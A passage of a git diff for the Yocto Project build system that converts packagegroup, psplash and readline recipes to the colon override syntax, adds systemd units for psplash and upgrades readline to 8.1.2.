nfs-utils-client \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb b/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
index 8854ec4801..d70aff22c7 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-sdk.bb
@@ -11,12 +11,11 @@ inherit packagegroup
#PACKAGEFUNCS =+ 'generate_sdk_pkgs'
-RDEPENDS_packagegroup-core-sdk = "\
+RDEPENDS:packagegroup-core-sdk = "\
packagegroup-core-buildessential \
coreutils \
ccache \
diffutils \
- intltool \
perl-module-re \
perl-module-text-wrap \
findutils \
@@ -27,15 +26,15 @@ RDEPENDS_packagegroup-core-sdk = "\
tcl"
SANITIZERS = "libasan-dev libubsan-dev"
-SANITIZERS_arc = ""
-SANITIZERS_microblaze = ""
-SANITIZERS_mipsarch = ""
-SANITIZERS_nios2 = ""
-SANITIZERS_riscv64 = ""
-SANITIZERS_riscv32 = ""
-SANITIZERS_libc-musl = ""
+SANITIZERS:arc = ""
+SANITIZERS:microblaze = ""
+SANITIZERS:mipsarch = ""
+SANITIZERS:nios2 = ""
+SANITIZERS:riscv64 = ""
+SANITIZERS:riscv32 = ""
+SANITIZERS:libc-musl = ""
-RRECOMMENDS_packagegroup-core-sdk = "\
+RRECOMMENDS:packagegroup-core-sdk = "\
libgomp \
libgomp-dev \
${SANITIZERS}"
@@ -54,7 +53,7 @@ RRECOMMENDS_packagegroup-core-sdk = "\
# # the package depchain code
# spkgdata = read_subpkgdata(pkg, d)
#
-# rdepends = explode_deps(spkgdata.get('RDEPENDS_%s' % pkg) or '')
+# rdepends = explode_deps(spkgdata.get('RDEPENDS:%s' % pkg) or '')
# rreclist = []
#
# for depend in rdepends:
@@ -64,16 +63,16 @@ RRECOMMENDS_packagegroup-core-sdk = "\
# rreclist.append('%s-dev' % name)
# else:
# deppkgdata = read_subpkgdata(name, d)
-# rdepends2 = explode_deps(deppkgdata.get('RDEPENDS_%s' % name) or '')
+# rdepends2 = explode_deps(deppkgdata.get('RDEPENDS:%s' % name) or '')
# for depend in rdepends2:
# split_depend = depend.split(' (')
# name = split_depend[0].strip()
# if packaged('%s-dev' % name, d):
# rreclist.append('%s-dev' % name)
#
-# oldrrec = d.getVar('RRECOMMENDS_%s' % newpkg, False) or ''
-# d.setVar('RRECOMMENDS_%s' % newpkg, oldrrec + ' ' + ' '.join(rreclist))
-# # bb.note('RRECOMMENDS_%s = "%s"' % (newpkg, d.getVar('RRECOMMENDS_%s' % newpkg, False)))
+# oldrrec = d.getVar('RRECOMMENDS:%s' % newpkg, False) or ''
+# d.setVar('RRECOMMENDS:%s' % newpkg, oldrrec + ' ' + ' '.join(rreclist))
+# # bb.note('RRECOMMENDS:%s = "%s"' % (newpkg, d.getVar('RRECOMMENDS:%s' % newpkg, False)))
#
# # bb.note('pkgs is %s' % pkgs)
# d.setVar('PACKAGES', ' '.join(pkgs))
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb b/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
index 5ec3f6c927..4f844ad925 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-ssh-dropbear.bb
@@ -3,4 +3,4 @@ PR = "r1"
inherit packagegroup
-RDEPENDS_${PN} = "dropbear"
+RDEPENDS:${PN} = "dropbear"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb b/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
index 703f956aea..846df12bc7 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-ssh-openssh.bb
@@ -3,4 +3,4 @@ PR = "r1"
inherit packagegroup
-RDEPENDS_${PN} = "openssh"
+RDEPENDS:${PN} = "openssh"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb b/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
index 2a54f1ca3e..5ebcbcec82 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-standalone-sdk-target.bb
@@ -5,7 +5,7 @@ PACKAGE_ARCH = "${TUNE_PKGARCH}"
inherit packagegroup
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
libgcc \
libgcc-dev \
libatomic \
@@ -15,7 +15,7 @@ RDEPENDS_${PN} = "\
${LIBC_DEPENDENCIES} \
"
-RRECOMMENDS_${PN}_mingw32 = "\
+RRECOMMENDS:${PN}:mingw32 = "\
libssp \
libssp-dev \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
index 81fbdf4608..c75850aa64 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-debug.bb
@@ -11,11 +11,14 @@ inherit packagegroup
PR = "r3"
MTRACE = ""
-MTRACE_libc-glibc = "libc-mtrace"
+MTRACE:libc-glibc = "libc-mtrace"
-RDEPENDS_${PN} = "\
+STRACE = "strace"
+STRACE:riscv32 = ""
+
+RDEPENDS:${PN} = "\
gdb \
gdbserver \
- strace \
${MTRACE} \
+ ${STRACE} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
index 3fd423c592..6330200d2f 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-profile.bb
@@ -10,13 +10,13 @@ PACKAGE_ARCH = "${MACHINE_ARCH}"
inherit packagegroup
-PROFILE_TOOLS_X = "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'sysprof', '', d)}"
+PROFILE_TOOLS_X = ""
# sysprof doesn't support aarch64 and nios2
-PROFILE_TOOLS_X_aarch64 = ""
-PROFILE_TOOLS_X_nios2 = ""
+PROFILE_TOOLS_X:aarch64 = ""
+PROFILE_TOOLS_X:nios2 = ""
PROFILE_TOOLS_SYSTEMD = "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'systemd-analyze', '', d)}"
-RRECOMMENDS_${PN} = "\
+RRECOMMENDS:${PN} = "\
${PERF} \
blktrace \
${PROFILE_TOOLS_X} \
@@ -27,48 +27,46 @@ PROFILETOOLS = "\
powertop \
"
PERF = "perf"
-PERF_libc-musl = ""
+PERF:libc-musl = ""
+PERF:libc-musl:arm = "perf"
+PERF:riscv32 = ""
# systemtap needs elfutils which is not fully buildable on some arches/libcs
SYSTEMTAP = "systemtap"
-SYSTEMTAP_libc-musl = ""
-SYSTEMTAP_nios2 = ""
-SYSTEMTAP_riscv64 = ""
-
-# lttng-ust uses sched_getcpu() which is not there on for some platforms.
-LTTNGUST = "lttng-ust"
-LTTNGUST_arc = ""
+SYSTEMTAP:libc-musl = ""
+SYSTEMTAP:nios2 = ""
+SYSTEMTAP:riscv32 = ""
LTTNGTOOLS = "lttng-tools"
-LTTNGTOOLS_arc = ""
-
-LTTNGMODULES = "lttng-modules"
-LTTNGMODULES_arc = ""
+LTTNGTOOLS:arc = ""
+LTTNGTOOLS:riscv32 = ""
BABELTRACE = "babeltrace"
+BABELTRACE2 = "babeltrace2"
# valgrind does not work on the following configurations/architectures
VALGRIND = "valgrind"
-VALGRIND_libc-musl = ""
-VALGRIND_mipsarch = ""
-VALGRIND_nios2 = ""
-VALGRIND_arc = ""
-VALGRIND_armv4 = ""
-VALGRIND_armv5 = ""
-VALGRIND_armv6 = ""
-VALGRIND_armeb = ""
-VALGRIND_aarch64 = ""
-VALGRIND_riscv64 = ""
-VALGRIND_linux-gnux32 = ""
-VALGRIND_linux-gnun32 = ""
+VALGRIND:libc-musl = ""
+VALGRIND:mipsarch = ""
+VALGRIND:nios2 = ""
+VALGRIND:arc = ""
+VALGRIND:armv4 = ""
+VALGRIND:armv5 = ""
+VALGRIND:armv6 = ""
+VALGRIND:armeb = ""
+VALGRIND:aarch64 = ""
+VALGRIND:riscv64 = ""
+VALGRIND:riscv32 = ""
+VALGRIND:powerpc = "${@bb.utils.contains('TARGET_FPU', 'soft', '', 'valgrind', d)}"
+VALGRIND:linux-gnux32 = ""
+VALGRIND:linux-gnun32 = ""
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${PROFILETOOLS} \
- ${LTTNGUST} \
${LTTNGTOOLS} \
- ${LTTNGMODULES} \
${BABELTRACE} \
+ ${BABELTRACE2} \
${SYSTEMTAP} \
${VALGRIND} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb b/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
index a5fc152859..e05e329020 100644
--- a/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-core-tools-testapps.bb
@@ -12,13 +12,23 @@ inherit packagegroup
# kexec-tools doesn't work on e5500-64b, microblaze and nios2 yet
KEXECTOOLS ?= "kexec"
-KEXECTOOLS_e5500-64b ?= ""
-KEXECTOOLS_microblaze ?= ""
-KEXECTOOLS_nios2 ?= ""
-KEXECTOOLS_riscv64 ?= ""
+KEXECTOOLS:e5500-64b ?= ""
+KEXECTOOLS:microblaze ?= ""
+KEXECTOOLS:nios2 ?= ""
+KEXECTOOLS:riscv64 ?= ""
+KEXECTOOLS:riscv32 ?= ""
+
+# go does not support ppc32, only ppc64
+# https://github.com/golang/go/issues/22885
+# gccgo may do better
+GOTOOLS ?= "go-helloworld"
+GOTOOLS:powerpc ?= ""
+GOTOOLS:riscv32 ?= ""
+
+RUSTTOOLS ?= "rust-hello-world"
GSTEXAMPLES ?= "gst-examples"
-GSTEXAMPLES_riscv64 = ""
+GSTEXAMPLES:riscv64 = ""
X11GLTOOLS = "\
mesa-demos \
@@ -36,7 +46,7 @@ X11TOOLS = "\
xprop \
"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
blktool \
${KEXECTOOLS} \
alsa-utils-amixer \
@@ -48,4 +58,6 @@ RDEPENDS_${PN} = "\
${@bb.utils.contains('DISTRO_FEATURES', 'x11', "${X11TOOLS}", "", d)} \
${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', "${X11GLTOOLS}", "", d)} \
${@bb.utils.contains('DISTRO_FEATURES', '3g', "${3GTOOLS}", "", d)} \
+ ${GOTOOLS} \
+ ${RUSTTOOLS} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
index 3b430c0814..49c075eb11 100644
--- a/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-cross-canadian.bb
@@ -10,7 +10,7 @@ BINUTILS = "binutils-cross-canadian-${TRANSLATED_TARGET_ARCH}"
GCC = "gcc-cross-canadian-${TRANSLATED_TARGET_ARCH}"
GDB = "gdb-cross-canadian-${TRANSLATED_TARGET_ARCH}"
-RDEPENDS_${PN} = "\
+RDEPENDS:${PN} = "\
${@all_multilib_tune_values(d, 'BINUTILS')} \
${@all_multilib_tune_values(d, 'GCC')} \
${@all_multilib_tune_values(d, 'GDB')} \
diff --git a/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
index 3daace1a40..d0596efe7a 100644
--- a/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-go-cross-canadian.bb
@@ -7,6 +7,6 @@ PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
GO = "go-cross-canadian-${TRANSLATED_TARGET_ARCH}"
-RDEPENDS_${PN} = " \
+RDEPENDS:${PN} = " \
${@all_multilib_tune_values(d, 'GO')} \
"
diff --git a/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb b/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
index 5afb490aac..61629d273c 100644
--- a/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-go-sdk-target.bb
@@ -2,10 +2,11 @@ SUMMARY = "Target packages for the Go SDK"
inherit packagegroup goarch
-RDEPENDS_${PN} = " \
+RDEPENDS:${PN} = " \
+ go \
go-runtime \
go-runtime-dev \
go-runtime-staticdev \
"
-COMPATIBLE_HOST = "^(?!riscv64).*"
+COMPATIBLE_HOST = "^(?!riscv32).*"
diff --git a/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb b/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb
new file mode 100644
index 0000000000..0d4f5ec9ef
--- /dev/null
+++ b/meta/recipes-core/packagegroups/packagegroup-rust-cross-canadian.bb
@@ -0,0 +1,18 @@
+SUMMARY = "Host SDK package for Rust cross canadian toolchain"
+PN = "packagegroup-rust-cross-canadian-${MACHINE}"
+
+inherit cross-canadian packagegroup
+
+PACKAGEGROUP_DISABLE_COMPLEMENTARY = "1"
+
+RUST="rust-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+CARGO="cargo-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+RUST_TOOLS="rust-tools-cross-canadian-${TRANSLATED_TARGET_ARCH}"
+
+RDEPENDS:${PN} = " \
+ ${@all_multilib_tune_values(d, 'RUST')} \
+ ${@all_multilib_tune_values(d, 'CARGO')} \
+ rust-cross-canadian-src \
+ ${@all_multilib_tune_values(d, 'RUST_TOOLS')} \
+"
+
diff --git a/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb b/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
index ee9d0636f2..9523aadd15 100644
--- a/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
+++ b/meta/recipes-core/packagegroups/packagegroup-self-hosted.bb
@@ -8,7 +8,7 @@ PR = "r13"
PACKAGE_ARCH = "${TUNE_PKGARCH}"
-inherit packagegroup distro_features_check
+inherit packagegroup features_check
# rdepends on libx11-dev
REQUIRED_DISTRO_FEATURES = "x11"
@@ -24,7 +24,7 @@ PACKAGES = "\
packagegroup-self-hosted-host-tools \
"
-RDEPENDS_packagegroup-self-hosted = "\
+RDEPENDS:packagegroup-self-hosted = "\
packagegroup-self-hosted-debug \
packagegroup-self-hosted-sdk \
packagegroup-self-hosted-extended \
@@ -32,7 +32,7 @@ RDEPENDS_packagegroup-self-hosted = "\
packagegroup-self-hosted-host-tools \
"
-RDEPENDS_packagegroup-self-hosted-host-tools = "\
+RDEPENDS:packagegroup-self-hosted-host-tools = "\
e2fsprogs \
e2fsprogs-e2fsck \
e2fsprogs-mke2fs \
@@ -49,9 +49,9 @@ RDEPENDS_packagegroup-self-hosted-host-tools = "\
screen \
"
PSEUDO = "pseudo"
-PSEUDO_libc-musl = ""
+PSEUDO:libc-musl = ""
-RRECOMMENDS_packagegroup-self-hosted-host-tools = "\
+RRECOMMENDS:packagegroup-self-hosted-host-tools = "\
kernel-module-tun \
kernel-module-iptable-raw \
kernel-module-iptable-nat \
@@ -59,7 +59,7 @@ RRECOMMENDS_packagegroup-self-hosted-host-tools = "\
kernel-module-iptable-filter \
"
-RDEPENDS_packagegroup-self-hosted-sdk = "\
+RDEPENDS:packagegroup-self-hosted-sdk = "\
autoconf \
automake \
binutils \
@@ -75,7 +75,6 @@ RDEPENDS_packagegroup-self-hosted-sdk = "\
g++-symlinks \
gcc \
gcc-symlinks \
- intltool \
ldd \
less \
libstdc++ \
@@ -88,18 +87,18 @@ RDEPENDS_packagegroup-self-hosted-sdk = "\
quilt \
sed \
"
-RDEPENDS_packagegroup-self-hosted-sdk_append_mingw32 = "\
+RDEPENDS:packagegroup-self-hosted-sdk:append:mingw32 = "\
libssp \
libssp-dev \
libssp-staticdev \
"
# rpcsvc-proto: for rpcgen
-RDEPENDS_packagegroup-self-hosted-sdk_append_libc-glibc = "\
+RDEPENDS:packagegroup-self-hosted-sdk:append:libc-glibc = "\
glibc-gconv-ibm850 \
glibc-utils \
rpcsvc-proto \
"
-RDEPENDS_packagegroup-self-hosted-debug = " \
+RDEPENDS:packagegroup-self-hosted-debug = " \
gdb \
gdbserver \
rsync \
@@ -107,9 +106,8 @@ RDEPENDS_packagegroup-self-hosted-debug = " \
tcf-agent"
-RDEPENDS_packagegroup-self-hosted-extended = "\
+RDEPENDS:packagegroup-self-hosted-extended = "\
bzip2 \
- chkconfig \
chrpath \
cpio \
curl \
@@ -153,8 +151,6 @@ RDEPENDS_packagegroup-self-hosted-extended = "\
perl-misc \
perl-modules \
perl-pod \
- python \
- python-modules \
python3 \
python3-modules \
python3-git \
@@ -168,7 +164,6 @@ RDEPENDS_packagegroup-self-hosted-extended = "\
sysstat \
tar \
tcl \
- texi2html \
texinfo \
unzip \
usbutils \
@@ -182,7 +177,7 @@ RDEPENDS_packagegroup-self-hosted-extended = "\
"
-RDEPENDS_packagegroup-self-hosted-graphics = "\
+RDEPENDS:packagegroup-self-hosted-graphics = "\
builder \
libgl \
libgl-dev \
diff --git a/meta/recipes-core/psplash/files/psplash-init b/meta/recipes-core/psplash/files/psplash-init
index 4bee866b0d..e0f80bcdc0 100755
--- a/meta/recipes-core/psplash/files/psplash-init
+++ b/meta/recipes-core/psplash/files/psplash-init
@@ -7,6 +7,9 @@
# Default-Stop:
### END INIT INFO
+. /etc/default/rcS
+export PSPLASH_FIFO_DIR
+
if [ ! -e /dev/fb0 ]; then
echo "Framebuffer /dev/fb0 not detected"
echo "Boot splashscreen disabled"
@@ -23,10 +26,9 @@ for x in $CMDLINE; do
esac
done
-export TMPDIR=/mnt/.psplash
-[ -d $TMPDIR ] || mkdir -p $TMPDIR
-if ! mountpoint -q $TMPDIR; then
- mount tmpfs -t tmpfs $TMPDIR -o,size=40k
+[ -d $PSPLASH_FIFO_DIR ] || mkdir -p $PSPLASH_FIFO_DIR
+if ! mountpoint -q $PSPLASH_FIFO_DIR; then
+ mount tmpfs -t tmpfs $PSPLASH_FIFO_DIR -o,size=40k
fi
rotation=0
diff --git a/meta/recipes-core/psplash/files/psplash-start.service b/meta/recipes-core/psplash/files/psplash-start.service
new file mode 100644
index 0000000000..36c2bb38e0
--- /dev/null
+++ b/meta/recipes-core/psplash/files/psplash-start.service
@@ -0,0 +1,12 @@
+[Unit]
+Description=Start psplash boot splash screen
+DefaultDependencies=no
+RequiresMountsFor=/run
+
+[Service]
+Type=notify
+ExecStart=/usr/bin/psplash
+RemainAfterExit=yes
+
+[Install]
+WantedBy=sysinit.target
diff --git a/meta/recipes-core/psplash/files/psplash-systemd.service b/meta/recipes-core/psplash/files/psplash-systemd.service
new file mode 100644
index 0000000000..082207f232
--- /dev/null
+++ b/meta/recipes-core/psplash/files/psplash-systemd.service
@@ -0,0 +1,13 @@
+[Unit]
+Description=Start psplash-systemd progress communication helper
+DefaultDependencies=no
+After=psplash-start.service
+Requires=psplash-start.service
+RequiresMountsFor=/run
+
+[Service]
+ExecStart=/usr/bin/psplash-systemd
+RemainAfterExit=yes
+
+[Install]
+WantedBy=sysinit.target
diff --git a/meta/recipes-core/psplash/psplash_git.bb b/meta/recipes-core/psplash/psplash_git.bb
index 56734c1582..edc0ac1d89 100644
--- a/meta/recipes-core/psplash/psplash_git.bb
+++ b/meta/recipes-core/psplash/psplash_git.bb
@@ -2,15 +2,17 @@ SUMMARY = "Userspace framebuffer boot logo based on usplash"
DESCRIPTION = "PSplash is a userspace graphical boot splash screen for mainly embedded Linux devices supporting a 16bpp or 32bpp framebuffer. It has few dependencies (just libc), supports basic images and text and handles rotation. Its visual look is configurable by basic source changes. Also included is a 'client' command utility for sending information to psplash such as boot progress information."
HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/psplash"
SECTION = "base"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://psplash.h;beginline=1;endline=16;md5=840fb2356b10a85bed78dd09dc7745c6"
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://psplash.h;beginline=1;endline=8;md5=8f232c1e95929eacab37f00900580224"
+DEPENDS = "gdk-pixbuf-native"
-SRCREV = "2015f7073e98dd9562db0936a254af5ef56356cf"
+SRCREV = "44afb7506d43cca15582b4c5b90ba5580344d75d"
PV = "0.1+git${SRCPV}"
-PR = "r15"
-SRC_URI = "git://git.yoctoproject.org/${BPN} \
+SRC_URI = "git://git.yoctoproject.org/${BPN};branch=master \
file://psplash-init \
+ file://psplash-start.service \
+ file://psplash-systemd.service \
${SPLASH_IMAGES}"
UPSTREAM_CHECK_COMMITS = "1"
@@ -19,9 +21,9 @@ SPLASH_IMAGES = "file://psplash-poky-img.h;outsuffix=default"
python __anonymous() {
oldpkgs = d.getVar("PACKAGES").split()
splashfiles = d.getVar('SPLASH_IMAGES').split()
+ mlprefix = d.getVar('MLPREFIX') or ''
pkgs = []
localpaths = []
- haspng = False
for uri in splashfiles:
fetcher = bb.fetch2.Fetch([uri], d)
flocal = os.path.basename(fetcher.localpath(uri))
@@ -39,34 +41,33 @@ python __anonymous() {
bb.fatal("The output name '%s' derived from the URI %s is not valid, please specify the outsuffix parameter" % (outname, uri))
else:
pkgs.append(outname)
- if flocal.endswith(".png"):
- haspng = True
localpaths.append(flocal)
- # Set these so that we have less work to do in do_compile and do_install_append
+ # Set these so that we have less work to do in do_compile and do_install:append
d.setVar("SPLASH_INSTALL", " ".join(pkgs))
d.setVar("SPLASH_LOCALPATHS", " ".join(localpaths))
+ for p in pkgs:
+ d.prependVar("PACKAGES", "%s%s " % (mlprefix, p))
- if haspng:
- d.appendVar("DEPENDS", " gdk-pixbuf-native")
-
- d.prependVar("PACKAGES", "%s " % (" ".join(pkgs)))
- mlprefix = d.getVar('MLPREFIX') or ''
pn = d.getVar('PN') or ''
for p in pkgs:
ep = '%s%s' % (mlprefix, p)
epsplash = '%s%s' % (mlprefix, 'psplash')
- d.setVar("FILES_%s" % ep, "${bindir}/%s" % p)
- d.setVar("ALTERNATIVE_%s" % ep, 'psplash')
+ d.setVar("FILES:%s" % ep, "${bindir}/%s" % p)
+ d.setVar("ALTERNATIVE:%s" % ep, 'psplash')
d.setVarFlag("ALTERNATIVE_TARGET_%s" % ep, 'psplash', '${bindir}/%s' % p)
- d.appendVar("RDEPENDS_%s" % ep, " %s" % pn)
+ d.appendVar("RDEPENDS:%s" % ep, " %s" % pn)
if p == "psplash-default":
- d.appendVar("RRECOMMENDS_%s" % pn, " %s" % ep)
+ d.appendVar("RRECOMMENDS:%s" % pn, " %s" % ep)
}
S = "${WORKDIR}/git"
-inherit autotools pkgconfig update-rc.d update-alternatives
+inherit autotools pkgconfig update-rc.d update-alternatives systemd
+
+PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
+
+PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
ALTERNATIVE_PRIORITY = "100"
ALTERNATIVE_LINK_NAME[psplash] = "${bindir}/psplash"
@@ -78,7 +79,7 @@ python do_compile () {
# Build a separate executable for each splash image
workdir = d.getVar('WORKDIR')
convertscript = "%s/make-image-header.sh" % d.getVar('S')
- destfile = "%s/psplash-poky-img.h" % d.getVar('S')
+ destfile = "%s/psplash-poky-img.h" % d.getVar('B')
localfiles = d.getVar('SPLASH_LOCALPATHS').split()
outputfiles = d.getVar('SPLASH_INSTALL').split()
for localfile, outputfile in zip(localfiles, outputfiles):
@@ -96,9 +97,22 @@ python do_compile () {
shutil.copyfile("psplash", outputfile)
}
-do_install_append() {
- install -d ${D}${sysconfdir}/init.d/
- install -m 0755 ${WORKDIR}/psplash-init ${D}${sysconfdir}/init.d/psplash.sh
+do_install:append() {
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ install -d ${D}${sysconfdir}/init.d/
+ install -m 0755 ${WORKDIR}/psplash-init ${D}${sysconfdir}/init.d/psplash.sh
+
+ # make fifo for psplash
+ install -d ${D}/mnt
+ mkfifo ${D}/mnt/psplash_fifo
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 644 ${WORKDIR}/psplash-start.service ${D}/${systemd_system_unitdir}
+ install -m 644 ${WORKDIR}/psplash-systemd.service ${D}/${systemd_system_unitdir}
+ fi
+
install -d ${D}${bindir}
for i in ${SPLASH_INSTALL} ; do
install -m 0755 $i ${D}${bindir}/$i
@@ -106,15 +120,10 @@ do_install_append() {
rm -f ${D}${bindir}/psplash
}
+SYSTEMD_PACKAGES = "${@bb.utils.contains('DISTRO_FEATURES','systemd','${PN}','',d)}"
+SYSTEMD_SERVICE:${PN} += "${@bb.utils.contains('PACKAGECONFIG', 'systemd', 'psplash-start.service psplash-systemd.service', '', d)}"
+
INITSCRIPT_NAME = "psplash.sh"
INITSCRIPT_PARAMS = "start 0 S . stop 20 0 1 6 ."
-PACKAGE_WRITE_DEPS_append = " ${@bb.utils.contains('DISTRO_FEATURES','systemd','systemd-systemctl-native','',d)}"
-pkg_postinst_${PN} () {
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- if [ -n "$D" ]; then
- OPTS="--root=$D"
- fi
- systemctl $OPTS mask psplash.service
- fi
-}
+FILES:${PN} += "/mnt"
diff --git a/meta/recipes-core/readline/readline-8.0/rl-native.map b/meta/recipes-core/readline/files/rl-native.map
index 5e7d49cdd2..5e7d49cdd2 100644
--- a/meta/recipes-core/readline/readline-8.0/rl-native.map
+++ b/meta/recipes-core/readline/files/rl-native.map
diff --git a/meta/recipes-core/readline/readline.inc b/meta/recipes-core/readline/readline.inc
index 07f54a76f1..7f2f1a092b 100644
--- a/meta/recipes-core/readline/readline.inc
+++ b/meta/recipes-core/readline/readline.inc
@@ -4,10 +4,10 @@ command lines as they are typed in. Both Emacs and vi editing modes are availabl
additional functions to maintain a list of previously-entered command lines, to recall and perhaps reedit those \
lines, and perform csh-like history expansion on previous commands."
SECTION = "libs"
-HOMEPAGE = "https://cnswww.cns.cwru.edu/php/chet/readline/rltop.html"
+HOMEPAGE = "https://tiswww.case.edu/php/chet/readline/rltop.html"
-# GPLv2+ (< 6.0), GPLv3+ (>= 6.0)
-LICENSE = "GPLv3+"
+# GPL-2.0-or-later (< 6.0), GPL-3.0-or-later (>= 6.0)
+LICENSE = "GPL-3.0-or-later"
LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
DEPENDS += "ncurses"
@@ -18,16 +18,17 @@ SRC_URI += "file://inputrc"
inherit autotools texinfo
EXTRA_AUTORECONF += "--exclude=autoheader"
+EXTRA_OECONF += "bash_cv_termcap_lib=ncurses"
LEAD_SONAME = "libreadline.so"
-do_configure_prepend () {
+do_configure:prepend () {
if [ ! -e ${S}/acinclude.m4 ]; then
cat ${S}/aclocal.m4 > ${S}/acinclude.m4
fi
}
-do_install_append () {
+do_install:append () {
# Make install doesn't properly install these
oe_libinstall -so -C shlib libhistory ${D}${libdir}
oe_libinstall -so -C shlib libreadline ${D}${libdir}
@@ -42,9 +43,15 @@ do_install_append () {
BBCLASSEXTEND = "native nativesdk"
-CONFFILES_${PN} += "${sysconfdir}/inputrc"
+CONFFILES:${PN} += "${sysconfdir}/inputrc"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN}-doc = "history.3"
+ALTERNATIVE_LINK_NAME[history.3] = "${mandir}/man3/history.3"
# OpenSuse injects versions into libreadline leading to conficits between our native one and theirs
# see their spec file for where this is injected. Extra versioning is harmless so we just do the same.
-SRC_URI_append_class-native = " file://rl-native.map"
-LDFLAGS_append_class-native = " -Wl,--version-script=${WORKDIR}/rl-native.map" \ No newline at end of file
+SRC_URI:append:class-native = " file://rl-native.map"
+LDFLAGS:append:class-native = " -Wl,--version-script=${WORKDIR}/rl-native.map"
diff --git a/meta/recipes-core/readline/readline-8.0/configure-fix.patch b/meta/recipes-core/readline/readline/configure-fix.patch
index ef3104f8a6..ef3104f8a6 100644
--- a/meta/recipes-core/readline/readline-8.0/configure-fix.patch
+++ b/meta/recipes-core/readline/readline/configure-fix.patch
diff --git a/meta/recipes-core/readline/readline-8.0/norpath.patch b/meta/recipes-core/readline/readline/norpath.patch
index 5d71582b70..5d71582b70 100644
--- a/meta/recipes-core/readline/readline-8.0/norpath.patch
+++ b/meta/recipes-core/readline/readline/norpath.patch
diff --git a/meta/recipes-core/readline/readline_8.0.bb b/meta/recipes-core/readline/readline_8.0.bb
deleted file mode 100644
index 99d022a32f..0000000000
--- a/meta/recipes-core/readline/readline_8.0.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require readline.inc
-
-SRC_URI += "file://configure-fix.patch \
- file://norpath.patch"
-
-SRC_URI[archive.md5sum] = "7e6c1f16aee3244a69aba6e438295ca3"
-SRC_URI[archive.sha256sum] = "e339f51971478d369f8a053a330a190781acb9864cf4c541060f12078948e461"
diff --git a/meta/recipes-core/readline/readline_8.1.2.bb b/meta/recipes-core/readline/readline_8.1.2.bb
new file mode 100644
index 0000000000..787f7e734a
--- /dev/null
+++ b/meta/recipes-core/readline/readline_8.1.2.bb
@@ -0,0 +1,7 @@
+require readline.inc
+
+SRC_URI += "file://configure-fix.patch \
+ file://norpath.patch \
+ "
+
+SRC_URI[archive.sha256sum] = "7589a2381a8419e68654a47623ce7dfcb756815c8fee726b98f90bf668af7bc6"
